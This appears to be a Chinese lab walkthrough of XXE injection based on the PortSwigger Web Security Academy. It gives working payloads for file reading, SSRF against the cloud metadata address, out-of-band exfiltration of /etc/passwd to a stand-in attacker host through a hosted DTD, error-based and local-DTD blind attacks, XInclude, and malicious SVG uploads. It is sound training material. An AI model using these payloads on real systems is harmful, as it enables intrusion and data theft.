实验室链接https://portswigger.net/web-security
XXE漏洞如何产生
一些应用程序使用XML格式在浏览器和服务器之间传输数据.而服务器端又没有对XML数据进行很好的检查,就可能产生XXE漏洞.
如: 某个网页可能传输如下的数据
如果稍加修改:
利用XXE读取文件
要执行从服务器的文件系统中读取任意文件的XXE注入攻击,需要修改两处XML:
- 引入(或编辑)一个
DOCTYPE
元素,该元素定义一个包含文件路径的外部实体。 - 编辑应用程序响应中返回的XML中的数据值,以使用已定义的外部实体
例如,假设购物应用程序通过向服务器提交以下XML来检查产品的库存:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
正常情况下会返回:
如果稍加修改:
先引入一个xxe的外部实体,再修改相应值
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
就可以读取文件
利用XXE执行SSRF攻击
除了检索敏感数据外,XXE攻击的另一个主要影响是,它们可用于执行服务器端请求伪造(SSRF) ,
这可能导致服务器端应用程序对服务器可以访问的任何URL发出HTTP请求
通过查看请求相应判断请求资源是否存在等.
操作方法也是先引入一个实体,再替换响应值:
如下:
引入实体探测内网: 探测http://169.254.169.254/时
说明我们请求的资源存在,返回了一个目录的名称latest
持续的请求最终可以读取到文件
XXE盲注检测
前面两种都是有回显情况下的XXE注入,但实际上XXE漏洞的许多情况都是没有回显的.
这意味着应用程序不会在其响应中返回任何已定义外部实体的值,因此无法直接检索服务器端文件
但是可以通过别的方法来间接检测
检测方法:
- 报错注入
- 与外网交互
通过Burpsuite的Collaborator可以测试XXE盲注
Burp Collaborator测试XXE盲注
具体使用可以参考 https://blog.csdn.net/fageweiketang/article/details/89073662
在BurpSuite专业版中.
开启Collaborator Server
通过工具栏可以打开
点击Copy to clipboard可以生成连接
类似xxx.burpcollaborator.net
当我们发现 存在疑似XXE漏洞,测试的时候只能看见"Invalid product ID"
我们修改为如下的XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net是Burp Collaborator 生成的
可以发现在Collaborator 中的回显,就证明确实存在XXE.对方对该域名进行了HTTP请求和DNS解析
外部实体参数被过滤
在这个实验中,引入外部实体参数,发现被检测出来
可以用以下情况绕过
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
XXE盲注利用
可以通过请求带参数的方式将数据带出到外网
如以下恶意的DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
- 定义名为的XML参数实体
file
,其中包含/etc/passwd
文件的内容。 - 定义一个名为的XML参数实体
eval
,其中包含另一个名为的XML参数实体的动态声明exfiltrate
。该exfiltrate
实体将通过使含有的值的HTTP请求到攻击者的web服务器进行评价file
URL查询字符串内的实体。 - 使用
eval
实体,这将导致exfiltrate
执行实体的动态声明。 - 使用
exfiltrate
实体,以便通过请求指定的URL得到文件内容。
这样通过查看日志就可以查看到文件内容
上面的DTD必须托管在DTD平台,因为外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止
http://web-attacker.com/malicious.dtd 的内容为
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
如 抓到以下包后
我们在 http://accd1f0c1f3e93218058065a014f00db.web-security-academy.net/test.dtd 托管如下内容
里面的链接为Burp Collaborator链接
然后修改包为:
可以在Collaborator里面看到返回的数据
x就是/etc/hostname 文件下的内容(也可能是第一行,多行情况下可以用其他协议)
XXE报错注入
XXE盲注的另一种思路是让XML解析器报错
错误消息可能包含敏感数据
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
- 定义名为的XML参数实体
file
,其中包含/etc/passwd
文件的内容。 - 定义一个名为的XML参数实体
eval
,其中包含另一个名为的XML参数实体的动态声明error
。该error
实体将通过加载一个不存在的文件名称中包含的价值进行评估file
实体。 - 使用
eval
实体,这将导致error
执行实体的动态声明。 - 使用该
error
实体,以便通过尝试加载不存在的文件来,从而产生一条错误消息,其中包含该不存在的文件的名称,即文件的内容/etc/passwd
将以上内容托管到http://web-attacker.com/malicious.dtd
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
可以现在托管平台下托管如下数据: (链接 https://ac7a1fe31fca4a0c80687b1101e600ac.web-security-academy.net/1.dtd )
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid123456aaaaa/%file;'>">
%eval;
%exfil;
将抓到的如下包
修改为:
利用本地DTD的XXE盲注
详细原理以及利用场景: https://www.freebuf.com/articles/web/195899.html
在服务器防火墙阻止外部DTD引用,我们就无法像以上那样进行XXE盲注.
这时候可以 在目标主机上强制执行本地dtd文件 , 并在其中重新定义一些参数实体引用
例如,假设服务器文件系统上该位置有一个DTD文件/usr/local/app/schema.dtd
,并且此DTD文件定义了一个名为custom_entity
的实体,攻击者可以重新定义custom_entity
来进行保存的XXE注入
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
该DTD执行以下步骤:
- 定义一个实体参数
local_dtd
,引用内部的DTD文件 - 重新定义名为
custom_entity
的XML参数实体,构造基于错误的XXE盲注 - 使用
local_dtd
这样就构造了基于错误的XXE盲注
由于此XXE攻击涉及重新利用服务器文件系统上的现有DTD,因此关键的要求是找到合适的文件 .
可以用一些框架固定的dtd文件,可以通过是否保存判断DTD文件是否存在
例如,使用GNOME桌面环境的Linux系统通常在DTD文件/usr/share/yelp/dtd/docbookx.dtd
用以下payload能判断该文件是否存在
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
固定的DTD位置:
- linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
- Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
在 https://www.freebuf.com/articles/web/195899.html 最后有很多这样的例子
下面是利用 GNOME桌面环境 下的 /usr/share/yelp/dtd/docbookx.dtd
进行XXE盲注
在docbookx.dtd
中有预定义的实体参数ISOamso
,重新定义ISOamso
即可
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
抓到如下包
可以修改为:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>
">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
XXE的隐藏攻击面
在许多情况下,XXE注入漏洞的攻击面很明显,因为应用程序的常规HTTP流量包括包含XML格式数据的请求 , 在其他情况下,攻击面不太明显 .可能在不存在XML格式数据的地方出现XXE
XInclude攻击
-
Xinclude : 导入外部xml文档,类似于php的include,将外部定义的dtd引入当前文件,因为引入外部实体具有局限性,所以使用xinclude来引入
-
语法:
<xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/>
差错处理:xi:fallback(当发生连接问题、安全限制、资源不存在、URI 架构未知或者像 mailto: 一样不可获取,等等)
<xi:include href="http://msdn.microsoft.com/rss.xml">
<xi:fallback>Sorry, MSDN news are unavailable.<xi:fallback>
</xi:include>
属性:
- href — 对要包括的文档的 URI 引用。
- parse — 它的值可以是“xml”或“text”,用于定义如何包括指定的文档(是作为 XML 还是作为纯文本)。默认值是“xml”。
- xpointer — 这是一个 XPointer,用于标识要包括的 XML 文档部分。如果作为文本包括 (parse="text"),将忽略该属性。
- encoding — 作为文本包括时,该属性提供所包括文档的编码提示信息。
要进行XInclude
攻击,您需要引用XInclude
名称空间并提供要包含的文件的路径
如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
在以下场景:
抓到一个产品的包
抓包修改产品id
id值传入后端然后嵌入到服务端的XML文档中,由于我们无法控制整个XML文档,因此无法定义DTD发起攻击,但可以通过Xinclude
文件上传的XXE
一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像
应用程序可能希望接收PNG或JPEG之类的格式 ,但服务端所使用的图像处理库也可能支持SVG图像.
像SVG和DOCX文件都基于XML格式,所以可以构造恶意的SVG来进行攻击
制作包含以下内容的SVG图片
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
然后上传
会发现头像被处理了,显示的正是hostname名称.
通过修改的内容类型进行XXE攻击
大多数POST请求都使用HTML表单生成的默认内容类型,例如application/x-www-form-urlencoded
有的网站可能没有对此做限制,
例如,如果正常请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后,您可以提交以下请求,结果相同:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
就可以尝试XXE攻击.
XXE防御
禁用外部实体的解析并禁用对XInclude
的支持.